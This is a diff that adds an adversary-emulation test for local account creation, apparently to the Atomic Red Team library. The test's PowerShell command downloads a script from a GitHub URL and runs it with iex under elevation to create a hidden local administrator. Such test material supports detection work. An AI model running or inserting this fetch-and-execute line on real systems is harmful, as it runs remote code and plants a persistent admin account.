diff --git a/atomics/T1136.001/T1136.001.yaml b/atomics/T1136.001/T1136.001.yaml index eb50309e96..a24d614e16 100644 --- a/atomics/T1136.001/T1136.001.yaml +++ b/atomics/T1136.001/T1136.001.yaml @@ -175,3 +175,12 @@ atomic_tests: net user /del "#{username}" >nul 2>&1 name: command_prompt elevation_required: true +- name: Create a new Windows admin user via .NET + description: | + Creates a new admin user in a powershell session without using net.exe + supported_platforms: + - windows + executor: + command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1') + name: powershell + elevation_required: true